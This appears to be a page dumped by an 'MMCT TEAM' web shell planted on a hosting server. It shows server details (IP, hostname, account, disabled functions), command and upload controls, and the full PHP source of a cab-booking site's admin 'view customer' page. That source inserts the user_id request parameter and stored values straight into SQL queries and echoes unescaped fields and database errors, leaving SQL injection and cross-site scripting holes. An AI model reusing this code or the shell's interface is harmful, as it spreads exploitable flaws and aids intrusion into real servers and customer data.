MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.217.142.228
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/view-customer.php
<?php
require_once 'header.php';
require_once 'navbar.php';
$current_time = date('Y-m-d H:i:s');
$user_id = $_GET['user_id'];

if (isset($_POST['econtact'])) {

    $name = test_input($_POST['ename']);
    $email = '';
    if (isset($_POST['email'])) {
        $email = $_POST['email'];
    }
    $contact = test_input($_POST['econtact']);


    $alt_contact = test_input($_POST['alt_contact']);

    $sql1 = "UPDATE users set contact='$contact',alt_contact='$alt_contact',email='$email',name='$name' where id='$user_id'";
    if ($conn->query($sql1)) {
        $success = true;
    } else {
        $sql1 = $conn->error;
        $error = true;
    }
}

$processing_booking = $conn->query("SELECT * FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE user_id='$user_id' AND status='confirmed'");

$cancelled_booking = $conn->query("SELECT * FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE user_id='$user_id' AND status='cancelled'");

$completed_booking = $conn->query("SELECT * FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE user_id='$user_id' AND status='completed'");

$vendor_pass_booking = $conn->query("SELECT * FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE user_id='$user_id' AND status='vendor_pass'");



$sql = "SELECT * FROM users WHERE id='$user_id'";
$res = $conn->query($sql);
$data2 = $res->fetch_assoc();

$transaction = "SELECT transaction.*,users.name,users.contact FROM transaction,users WHERE transaction.id_user_app=users.id AND id_user_app='$user_id' ORDER BY creer DESC";

$transaction_result = $conn->query($transaction);

if ($transaction_result->num_rows > 0) {
    // output data of each row
    while ($row = $transaction_result->fetch_assoc()) {
        $transactions[] = $row;
    }
}

$booking_data = "SELECT bookings.*,bookings.id as bk_id,payment_log.txn_amount,payment_log.booking_id,users.* FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE user_id='$user_id' ORDER BY bookings.pickup_date DESC";

$booking_result = $conn->query($booking_data);

if ($booking_result->num_rows > 0) {
    // output data of each row
    while ($rows = $booking_result->fetch_assoc()) {
        $table_data[] = $rows;
    }
}


$membership_status = $conn->query("SELECT * FROM membership_log WHERE vendor_id='$vendor_id' AND start<='$current_time' AND end>='$current_time' AND status=1");

?>

<!-- Page content -->
<div class="container-fluid pt-8">
    <div class="page-header mt-0 p-3">
        <h3 class="mb-sm-0">View Customer</h3>
    </div>
    <div class="row">
        <div class="col-12">
            <?php
            if (isset($success)) {
                ?>
                <div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
                <?php
            } else if (isset($error)) {
                ?>
                    <div class="alert alert-danger" id="success">Error! Your Request could not be submited.<?php echo $sql1; ?>
                    </div>
                <?php
            }
            ?>
        </div>

        <div class="col-lg-3">
            <div class="info-box">
                <span class="info-box-icon bg-warning"><i class="fa fa-check-circle"></i></span>

                <div class="info-box-content">
                    <span class="info-box-text">Not Assigned Booking</span>
                    <span class="info-box-number"><?= $vendor_pass_booking->num_rows ?></span>
                </div>
            </div>
        </div>
        <div class="col-lg-3">
            <div class="info-box">
                <span class="info-box-icon bg-primary"><i class="fa fa-check-circle"></i></span>

                <div class="info-box-content">
                    <span class="info-box-text">Processing Booking</span>
                    <span class="info-box-number"><?= $processing_booking->num_rows ?></span>
                </div>
            </div>
        </div>
        <div class="col-lg-3">
            <div class="info-box">
                <span class="info-box-icon bg-red"><i class="fa fa fa-ban"></i></span>

                <div class="info-box-content">
                    <span class="info-box-text">Cancelled Booking</span>
                    <span class="info-box-number"><?= $cancelled_booking->num_rows ?></span>
                </div>
            </div>
        </div>
        <div class="col-lg-3">
            <div class="info-box">
                <span class="info-box-icon bg-green"><i class="fa fa-check-circle"></i></span>

                <div class="info-box-content">
                    <span class="info-box-text">Completed Booking</span>
                    <span class="info-box-number"><?= $completed_booking->num_rows ?></span>
                </div>
            </div>
        </div>
    </div>

    <!-- Table -->
    <div class="row">
        <div class="col-12">
            <div class="box box-default">
                <div class="box-header with-border">
                    <h3 class="box-title">Profile Details</h3>
                </div>
                <div class="box-body">


                    <div class="row align-items-center">
                        <div class="col-md-2">
                            <img src="../images/logo.png" class="img-circle">
                            <br>
                        </div>
                        <div class="col-md-10">
                            <div class="spacer"></div>
                            <h2 style="margin-top:0;"><?= $data2['name'] ?></h2>
                            <button value="<?= $data2['id']; ?>"
                                onclick="edit_modal('<?= $data2['name']; ?>','<?= $data2['email']; ?>','<?= $data2['contact']; ?>','<?= $data2['id']; ?>','<?= $data2['alt_contact']; ?>')"
                                class="btn btn-primary btn-sm" data-toggle="modal" data-target="#edit-default">
                                Edit Profile
                            </button>
                            <br>
                        </div>
                    </div>
                    <div class="row mt-3">
                        <div class="col-md-3">
                            <h5>Phone: +91 <?= $data2['contact'] ?></h5>
                            <h5>Alt Phone: +91 <?= $data2['alt_contact'] ?></h5>
                            <h5>Email: <?= $data2['email'] ?></h5>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="row">
        <div class="col-12">
            <div class="box box-default">
                <ul class="nav nav-tabs" role="tablist">
                    <li class="nav-item">
                        <a class="nav-link active" data-toggle="tab" href="#bookings" role="tab">Bookings</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" data-toggle="tab" href="#complaints" role="tab">Complaints</a>
                    </li>
                </ul><!-- Tab panes -->
                <div class="tab-content">

                    <!-- bookings -->
                    <div class="tab-pane p-3 active" id="bookings" role="tabpanel">
                        <div class="table-responsive">
                            <table id="example-2" class="table table-striped table-bordered text-nowrap">
                                <thead>
                                    <tr>
                                        <th class="wd-15p">S.No</th>
                                        <th class="wd-15p">Booking ID</th>
                                        <th class="wd-15p">Status</th>
                                        <th class="wd-15p">From </th>
                                        <th class="wd-15p">To</th>
                                        <th class="wd-15p">Booking Stop</th>
                                        <th class="wd-15p">Package</th>
                                        <th class="wd-15p">Company Booking ID</th>
                                        <th class="wd-15p">Company Booking Type</th>
                                        <th class="wd-20p">Name</th>
                                        <th class="wd-20p">Contact</th>
                                        <th class="wd-20p">Email</th>
                                        <th class="wd-20p">Trip type</th>
                                        <th class="wd-20p">Cab Type</th>
                                        <th class="wd-15p">Pickup Date</th>
                                        <th class="wd-20p">pickup time</th>
                                        <th class="wd-20p">Drop Date</th>
                                        <th class="wd-15p">Amount</th>
                                        <th class="wd-15p">Advance Amount</th>
                                        <th class="wd-15p">Balance Amount</th>
                                        <th class="wd-15p">Incentive</th>
                                        <th class="wd-15p">Admin Commission</th>
                                        <th class="wd-15p">Loss</th>
                                        <th class="wd-15p">Profit</th>
                                        <th class="wd-15p">Vendor Commission</th>
                                        <th class="wd-15p">Pickup Address</th>
                                        <th class="wd-15p">Drop Address</th>
                                        <th class="wd-15p">Toll Tax</th>
                                        <th class="wd-15p">State Tax</th>
                                        <th class="wd-15p">Parking</th>
                                        <th class="wd-15p">Night Charge</th>
                                        <th class="wd-15p">Extra Price</th>
                                        <th class="wd-15p">Carrier</th>
                                        <th class="wd-15p">Pet</th>
                                        <th class="wd-15p">Driver App</th>
                                        <th class="wd-15p">Extra Requirement</th>
                                        <th class="wd-15p">Billing Name</th>
                                        <th class="wd-15p">GST No.</th>
                                        <th class="wd-15p">Amenities</th>
                                        <th class="wd-15p">Remark</th>
                                        <th class="wd-15p">Booking Type</th>
                                        <th class="wd-15p">Post Vendor ID</th>
                                        <th class="wd-15p">Post Vendor Name</th>
                                        <th class="wd-15p">Post Vendor Contact</th>
                                        <th class="wd-15p">Accept Vendor id</th>
                                        <th class="wd-15p">Accept Vendor Name</th>
                                        <th class="wd-15p">Accept Vendor Contact</th>
                                        <th class="wd-15p">cab Id</th>
                                        <th class="wd-15p">Driver id</th>
                                        <th class="wd-15p">Posted Date/Time</th>
                                        <th class="wd-15p">Accepted Date/Time</th>
                                        <th class="wd-15p">Completed Date/Time</th>
                                        <th class="wd-15p">Cancelled Date/Time</th>
                                        <th>Comment</th>
                                    </tr>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php
                                    $x = 1;
                                    foreach ($table_data as $hh) {
                                        if ($hh['booking_type'] == 'Website') {
                                            $color = 'bg_success';
                                            $text_color = 'text-white';
                                        } elseif ($hh['company_type'] != '') {
                                            $color = 'bg-warning text-white';
                                            $text_color = 'text-white';
                                        } elseif ($hh['booking_type'] == 'Vendor App') {
                                            $color = 'bg-danger text-white';
                                            $text_color = 'text-white';
                                        } else {
                                            $color = 'none';
                                            $text_color = '';
                                        }
                                        $loss = 0;
                                        $profit = 0;
                                        if ($hh['incentive'] > $hh['admin_commission']) {
                                            $loss = $hh['incentive'] - $hh['admin_commission'];
                                        } else {
                                            $profit = $hh['admin_commission'] - $hh['incentive'];
                                        }
                                        $admin_data = $conn->query("SELECT * FROM user_role_activity WHERE booking_id='" . $hh['bk_id'] . "'");
                                        ?>
                                        <tr class="<?php echo $color; ?>" id="row<?= $hh['bk_id']; ?>">
                                            <td><?= $x; ?></td>
                                            <td class="list_booking">C4U<?= $hh['bk_id']; ?></td>
                                            <?php
                                            if ($hh['status'] == 'vendor_pass') {
                                                echo '<td class="status"><label class="badge badge-primary">Not Assigned</label></td>';
                                            } elseif ($hh['status'] == 'booked') {
                                                echo '<td class="status"><label class="badge badge-warning">Pending</label></td>';
                                            } elseif ($hh['status'] == 'confirmed') {
                                                echo '<td class="status"><label class="badge badge-info">Processing</label></td>';
                                            } elseif ($hh['status'] == 'completed') {
                                                echo '<td class="status"><label class="badge badge-success">Completed</label></td>';
                                            } else {
                                                echo '<td class="status"><label class="badge badge-danger">Cancel</label></td>';
                                            }
                                            ?>
                                            <td class="from"><?= $hh['booking_from'] ?></td>
                                            <td class="to"><?= $hh['booking_to']; ?></td>

                                            <td class="booking_stop"><?php
                                            $i = 1;
                                            if (!empty($hh['booking_stops'])) {
                                                $booking_stop = explode('/', $hh['booking_stops']);
                                                foreach ($booking_stop as $booking_s) {
                                                    echo $i++ . '. ' . $booking_s . '<br>';
                                                }
                                            }
                                            ?>
                                            </td>
                                            <td class="pid"><?= $hh['pid']; ?></td>
                                            <td class="company_booking_id"><?= $hh['company_booking_id']; ?></td>
                                            <td class="company_booking_type"><?= $hh['company_booking_type']; ?></td>
                                            <?php if ($hh['company_type'] != '') { ?>
                                                <td class="name"><?= $hh['cust_name']; ?></td>
                                                <td class="contact"><?= $hh['cust_mob']; ?></td>
                                                <td class="email"><?= $hh['cust_email']; ?></td>
                                            <?php } else { ?>
                                                <td class="name"><?= $hh['name']; ?></td>
                                                <td class="contact"><?= $hh['contact']; ?></td>
                                                <td class="email"><?= $hh['email']; ?></td>
                                            <?php } ?>
                                            <td class="trip_type"><?= $hh['trip_type']; ?></td>
                                            <td class="cab_type"><?= $hh['cab_type']; ?></td>
                                            <td class="pickup_date"><?= date('d-m-Y', strtotime($hh['pickup_date'])); ?></td>
                                            <td class="pickup_time"><?= date("h:i A", strtotime($hh['pickup_time'])); ?></td>
                                            <td class="drop_date">
                                                <?php
                                                if ($hh['drop_date'] == 0) {
                                                    echo "<b>N.A.</b>";
                                                } else {
                                                    echo date('d-m-Y', strtotime($hh['drop_date']));
                                                }
                                                ?>
                                            </td>
                                            <td class="amount"><?= $hh['price'] + $hh['incentive']; ?></td>
                                            <td class="advance_amount"><?= $hh['txn_amount']; ?></td>
                                            <td class="balance_amount">
                                                <?= ($hh['price'] + $hh['incentive']) - $hh['txn_amount']; ?></td>
                                            <td class="incentive"><?= $hh['incentive']; ?></td>
                                            <td class="commission" id="com<?= $hh['booking_id']; ?>">
                                                <?= $hh['admin_commission']; ?></td>
                                            <td class="loss"><?= $loss; ?></td>
                                            <td class="profit"><?= $profit; ?></td>
                                            <td><?= $hh['vendor_commission']; ?></td>
                                            <td class="pickup_address"><?= $hh['pickup_address']; ?></td>
                                            <td class="drop_address"><?= $hh['drop_add']; ?></td>
                                            <td class="toll_tax">
                                                <?php if ($hh['toll_tax'] == 1)
                                                    echo "Excluding";
                                                else
                                                    echo "Including" ?>
                                                </td>
                                                <td class="state_tax">
                                                <?php if ($hh['state_tax'] == 1)
                                                    echo "Excluding";
                                                else
                                                    echo "Including" ?>
                                                </td>
                                                <td class="parking">
                                                <?php if ($hh['parking'] == 1)
                                                    echo "Excluding";
                                                else
                                                    echo "Including" ?>
                                                </td>
                                                <td class="night_charge"><?= $hh['night_charge']; ?></td>
                                            <td class="extra_price"><?= $hh['extra_price']; ?></td>
                                            <td class="carrier">
                                                <?php if ($hh['carrier'] == 1) {
                                                    echo 'Yes';
                                                } else {
                                                    echo "No";
                                                } ?></td>
                                            <td class="pet"><?= $hh['pet'] ?></td>
                                            <td class="driver_app"><?php echo $hh['driver_app']; ?></td>
                                            <td class="extra_requirement"><?= $hh['extra_requirement']; ?></td>
                                            <td class="billing_name"><?= $hh['billing_name']; ?></td>
                                            <td class="gst_no"><?= $hh['gst_no']; ?></td>
                                            <td class="amenities">
                                                <ul class="list-style-desc">
                                                    <?php
                                                    $amenities_id = $hh['amenities'];
                                                    $amenities = $conn->query("SELECT * FROM amenities WHERE id IN($amenities_id)");
                                                    while ($amenity = mysqli_fetch_array($amenities)) {
                                                        echo "<li>" . $amenity['note'] . $amenity['price'] . "</li>";
                                                    }
                                                    ?>
                                                </ul>
                                            </td>
                                            <td class="remark"><?= $hh['remark']; ?></td>
                                            <td class="booking_type"><?= $hh['booking_type']; ?></td>
                                            <?php
                                            $vendor_id = $hh['vendor_id'];
                                            $sql = "select * from vendor_login,vendor_profile where vendor_profile.vendor_id=$vendor_id and vendor_login.id=$vendor_id";
                                            $res = $conn->query($sql);
                                            $vendr = $res->fetch_assoc();

                                            if ($hh['post_by_id'] != 0 && $hh['post_by_id'] != '') {
                                                $post_by_id = $hh['post_by_id'];

                                                $sql = "SELECT * FROM vendor_profile INNER JOIN vendor_login ON vendor_profile.vendor_id=vendor_login.id WHERE vendor_id='" . $post_by_id . "'";
                                                $result = $conn->query($sql);
                                                $vv = $result->fetch_assoc();
                                                ?>
                                                <td class="post_vendor_id"><a class="text-white"
                                                        href="edit_vendor?token=<?= $hh['post_by_id']; ?>"
                                                        target="_blank"><?= $hh['post_by_id']; ?></a></td>
                                                <td class="post_vendor_name"><?= $vv['full_name'] ?></td>
                                                <td class="post_vendor_contact"><?= $vv['contact'] ?></td>
                                            <?php } else { ?>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                            <?php } ?>

                                            <?php
                                            $vendor_id = $hh['vendor_id'];
                                            $sql = "select * from vendor_login,vendor_profile where vendor_profile.vendor_id=$vendor_id and vendor_login.id=$vendor_id";
                                            $res = $conn->query($sql);
                                            $vendr = $res->fetch_assoc();
                                            if ($hh['company_type'] == '') { ?>
                                                <td class="accept_vendor_id"><a class="<?= $text_color; ?>"
                                                        href="edit_vendor?token=<?= $hh['vendor_id']; ?>"
                                                        target="_blank"><?= $hh['vendor_id']; ?></a></td>
                                                <td class="accept_vendor_name"><input type="hidden"
                                                        id="vendorname<?php echo $hh['bk_id'] ?>"
                                                        value="<?php echo $hh['vendor_id'] ?>">
                                                    <?php echo $vendr['full_name'] ?>
                                                </td>
                                                <td class="accept_vendor_contact">
                                                    <?php echo $vendr['contact'] ?>
                                                </td>
                                            <?php } else { ?>
                                                <td class="accept_vendor_id"><?= $hh['company_type']; ?> - <?= $hh['vendor_id']; ?>
                                                </td>
                                                <td class="accept_vendor_name"><input type="hidden"
                                                        id="vendorname<?php echo $hh['bk_id'] ?>"
                                                        value="<?php echo $hh['vendor_id'] ?>"><?= $hh['vendor_name'] ?></td>
                                                <td class="accept_vendor_contact"><?= $hh['vendor_phone'] ?></td>
                                            <?php } ?>

                                            <?php
                                            if ($hh['cab_id'] != 0 && $hh['driver_id'] != 0 && $hh['company_type'] == '') {
                                                $cab = $hh['cab_id'];
                                                $k = $hh['driver_id'];
                                                $sql = "select driver_name,contact,cab_name as cc,rc_no from drivers,cabs where cabs.id= $cab and drivers.id=$k;";
                                                $result = $conn->query($sql);
                                                $ss = $result->fetch_assoc();
                                                ?>
                                                <td class="cab_detail"><?= $ss['cc'] . ", " . $ss['rc_no']; ?></td>
                                                <td class="driver_detail"><?= $ss['driver_name'] . "," . $ss['contact']; ?></td>
                                            <?php } elseif ($hh['company_type'] != '') { ?>
                                                <td><?= $hh['cabno'] ?></td>
                                                <td><?= $hh['drivername'] ?></td>
                                            <?php } else { ?>
                                                <td class="cab_detail">Cab Not Found.</td>
                                                <td class="driver_detail">Driver Not Found.</td>
                                                <?php
                                            }
                                            ?>
                                            <td class="time_stamp"><?= date("d-m-Y h:i A", strtotime($hh['time_stamp'])); ?>
                                            </td>

                                            <td class="accept_time"><?= date("d-m-Y h:i A", strtotime($hh['accept_time'])); ?>
                                            </td>

                                            <td class="completed_time">
                                                <?= date("d-m-Y h:i A", strtotime($hh['completed_time'])); ?></td>

                                            <td class="cancelled_time">
                                                <?= date("d-m-Y h:i A", strtotime($hh['cancelled_time'])); ?></td>


                                            <td class="comment comment<?= $hh['bk_id'] ?>"><?= $hh['comment'] ?></td>

                                        </tr>
                                        <?php
                                        $x++;
                                    }
                                    ?>
                                </tbody>
                            </table>
                        </div>
                    </div>

                    <!-- transactions -->
                    <div class="tab-pane p-3" id="complaints" role="tabpanel">
                        <div class="table-responsive">
                            <table id="example-1" class="table table-striped table-bordered text-nowrap w-100">
                                <thead>
                                    <tr>
                                        <th>S.No</th>
                                        <th>Complaint Type</th>
                                        <th>User Name</th>
                                        <th>User Contact</th>
                                        <th>Message</th>
                                        <th>Created By</th>
                                        <th>Date/Time</th>
                                        <th>Status</th>
                                    </tr>
                                </thead>
                                <tbody id="tbody_complaints"></tbody>
                            </table>
                        </div>
                    </div>


                </div>
            </div>
        </div>
    </div>

</div>
</div>
</div>
</div>


<!--Add Modal To Display-->
<div class="modal fade" id="edit-default">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="card-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span>
                </button>
                <div class="alert alert-danger" id="error" style="display:none">Error! Your Request could not be
                    submited.</div>

                <h4 style="text-align: left">Edit customer details</h4>
                <div class="col-md-6 float-right" id="alert"></div>
            </div>
            <form method="post" id="add_vendor">
                <div class="modal-body">
                    <div class="row">
                        <div class="col-md-6">
                            <label>Full Name :</label><input type="text" id="edit_name" class="form-control"
                                name="ename">
                        </div>

                        <div class="col-md-6">
                            <label>Email :</label><input id="edit_email" type="text" class="form-control" name="email">
                        </div>
                        <div class="col-md-6">
                            <label>Contact :</label><input type="text" id="edit_contact" class="form-control"
                                name="econtact" title="Please Enter Correct Contact Number">
                        </div>
                        <div class="col-md-6">
                            <label>Alt Contact :</label><input type="text" id="edit_alt_contact" class="form-control"
                                name="alt_contact" title="Please Enter Correct Contact Number">
                        </div>

                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
                    <button type="submit" name="request" id="save" class="btn btn-primary">Save</button>
                </div>
            </form>
        </div>
        <!-- /.modal-content -->
    </div>
    <!-- /.modal-dialog -->
</div>

<?php
require_once 'footer.php';
require_once 'jslinks.php';
?>
<!-- Adon JS -->
<script src="assets/js/custom.js"></script>
<script src="assets/js/datatable.js"></script>
<script>
    function edit_modal(name, email, contact, id, altt) {

        $('#edit_name').val(name);
        $('#edit_email').val(email);
        $('#edit_contact').val(contact);
        $('#edit_alt_contact').val(altt);

    }



    $(function (e) {
        new DataTable('#example-2', {
            layout: {
                topStart: {
                    buttons: ['copyHtml5', 'excelHtml5', 'csvHtml5', 'pdfHtml5']
                }
            },
            "stateSave": true,
            dom: 'lBfrtip',
            "lengthMenu": [[10, 25, 50, 100, 250, 500, 1000, -1], [10, 25, 50, 100, 250, 500, 1000, 'All']]
        });

    });

    $(document).ready(function () {
        output();
        function output() {
            var inHTML = '';
            var i = 1;
            $.getJSON("ajax_user_complaints?show=1&user_id<?= $user_id ?>", function (data) {
                $.each(data, function (key, item) {
                    if (item.status == 'Pending') {
                        var status = '<span class="badge badge-warning">Pending</span>';
                    } else if (item.status == 'Processing') {
                        var status = '<span class="badge badge-primary">Processing</span>';
                    } else {
                        var status = '<span class="badge badge-success">Completed</span>';
                    }
                    inHTML +=
                        `<tr>
        <td>${i}</td>
        <td>${item.title}</td>
        <td>${item.name}</td> 
        <td>${item.contact}</td> 
        <td>${item.msg} </td> 
        <td>${item.created_by}</td> 
        <td>${item.created_at}</td> 
        <td>${status}</td> 
              </tr>`;
                    i++;
                })
                $('#tbody_complaints').html(inHTML);
                $('#example-1').DataTable({
                    layout: {
                        topStart: {
                            buttons: ['copy', 'csv', 'excel', 'pdf', 'print']
                        }
                    },
                    "stateSave": true,
                    dom: 'lBfrtip',
                    "lengthMenu": [[10, 25, 50, 100, 250, 500, 1000, -1], [10, 25, 50, 100, 250, 500, 1000, 'All']]
                });
            })
        }
    });
</script>

MMCT - 2023